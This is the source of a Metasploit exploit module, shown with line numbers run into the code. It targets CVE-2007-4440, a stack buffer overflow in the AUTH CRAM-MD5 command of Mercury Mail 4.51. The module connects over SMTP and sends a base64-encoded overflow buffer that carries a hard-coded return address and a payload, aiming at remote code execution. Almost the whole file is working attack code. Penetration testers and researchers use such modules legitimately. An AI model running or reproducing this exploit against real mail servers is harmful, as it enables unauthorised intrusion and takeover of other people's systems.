Path: blob/master/modules/exploits/windows/smtp/mercury_cram_md5.rb
19612 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Mercury Mail SMTP AUTH CRAM-MD5 Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in Mercury Mail Transport System 4.51.17By sending a specially crafted argument to the AUTH CRAM-MD5 command, an attacker18may be able to execute arbitrary code.19},20'Author' => [ 'MC' ],21'References' => [22[ 'CVE', '2007-4440' ],23[ 'OSVDB', '39669' ],24[ 'BID', '25357' ],25],26'DefaultOptions' => {27'EXITFUNC' => 'thread',28},29'Platform' => 'win',30'Privileged' => true,31'Payload' => {32'Space' => 600,33'BadChars' => "\x00\x0a\x0d\x20\x25",34'StackAdjustment' => -3500,35},36'Targets' => [37[ 'Mercury Mail Transport System 4.51', { 'Ret' => 0x258d0d1e } ], # ter32.dll38],39'DefaultTarget' => 0,40'DisclosureDate' => '2007-08-18',41'Notes' => {42'Reliability' => UNKNOWN_RELIABILITY,43'Stability' => UNKNOWN_STABILITY,44'SideEffects' => UNKNOWN_SIDE_EFFECTS45}46)47)4849register_options([ Opt::RPORT(25) ])50end5152def exploit53connect5455sock.get_once5657sock.put("EHLO\r\n")5859sock.get_once6061sock.put("AUTH CRAM-MD5\r\n")6263sock.get_once64select(nil, nil, nil, 0.25)6566buffer = rand_text_alpha_upper(204) + [target.ret].pack('V')67buffer << payload.encoded + rand_text_alpha_upper(1075 - payload.encoded.length)6869sploit = Rex::Text.encode_base64(buffer)7071print_status("Trying target #{target.name}...")72sock.put(sploit + "\r\n")7374handler75disconnect76end77end787980